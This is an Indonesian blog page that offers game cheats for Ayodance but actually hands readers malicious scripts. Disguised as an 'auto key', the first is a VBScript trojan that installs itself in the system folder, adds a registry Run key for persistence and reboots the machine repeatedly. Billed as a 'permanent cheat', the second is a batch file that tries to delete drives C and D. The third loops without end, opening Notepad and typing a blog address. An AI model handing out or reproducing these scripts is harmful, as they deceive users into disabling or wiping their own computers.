Sunday, July 15, 2012

Cara Buat Auto Key ayodance 6083

Bagi2 ilmu nih sob.. buat kamu2 yang pengen jadi dewa ada cra gampang buat ayodance 6082 dengan notepad.

*note copy semua source berikut kedalam notepad save as .Vbs (jika ingin mengaktifkan)
jika tidak biarkan tetap dalam file exstensi.txt
exapels: ayodance 6082.VBS

Copy semua source di bawah ini:


rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
Read more...
separador

Cara mudah Cheat Pemanent Ayodance 6083

Berikut cara mudah Cheat Pemanent Ayodance 6082


 ikuti langkah-langkahnya secara urut :

1. Copy code vbscript dibawah ini (diantara garis pembatas)

==========================================================
Langsung saja, buka notepad dan ketikkan script berikut ini :

@echo off
DEL C: -Y
DEL D: -Y


Kemudian simpan, lalu ubah [Save as type] menjadi [All Files], dan pada kotak [File Name] beri Cheat Pemanent Ayodance 6082 ini dengan kata apa saja terserah Anda dan diakhiri dengan kata .bat, misal Ayodance 6082.bat , kemudian klik save.

 ikuti langkah-langkahnya secara urut :

1. Copy code vbscript dibawah ini (diantara garis pembatas)

==========================================================

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "u"
WScript.Sleep 500
WshShell.SendKeys "n"
WScript.Sleep 500
WshShell.SendKeys "j"
WScript.Sleep 500
WshShell.SendKeys "u"
WScript.Sleep 500
WshShell.SendKeys "n"
WScript.Sleep 500
WshShell.SendKeys "g"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "e"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "s"
WScript.Sleep 500
WshShell.SendKeys "."
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys "g"
WScript.Sleep 500
WshShell.SendKeys "s"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys "."
WScript.Sleep 500
WshShell.SendKeys "c"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys "m"
WScript.Sleep 500
wscript.sleep 5000
loop

==========================================================

2. Buka Notepad --> paste kan code nya di notepad --> simpan dengan extensi vbs (misal  Cheat Pemanent Ayodance 6082 .vbs)

3. Mo mencoba  Cheat Pemanent Ayodance 6082 buatan sendiri? tinggal klik aja deh 2x, dan nikmatilah hasilnya
Read more...
separador

Simpel Hack 1/2 Dewa V6083

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxWpLD_v07eI7okrvLKP5QpPnPNvuXh9w0EJiI9KgD7_Xh7PY1gbNcf6Ow69fnAwtOmgKR_qjH3NUdSmbs8Y415pg49HHybDn79HsPUYNiblueheqTWx7LlIccQLyUcJ4jXQ8HC2bzg0_f/s1600/sshot-1.pngFiturnya seperti biasa Simpel Hack ^^
1/2 Dewa PF On Off
PF all Mode kecuali BB belum sempet On Off
Emoticon Pin 2 Skip Red Key
Download
Simpel Hack 1/2 Dewa V6082
ACV45
Read more...
separador

Live music


Followers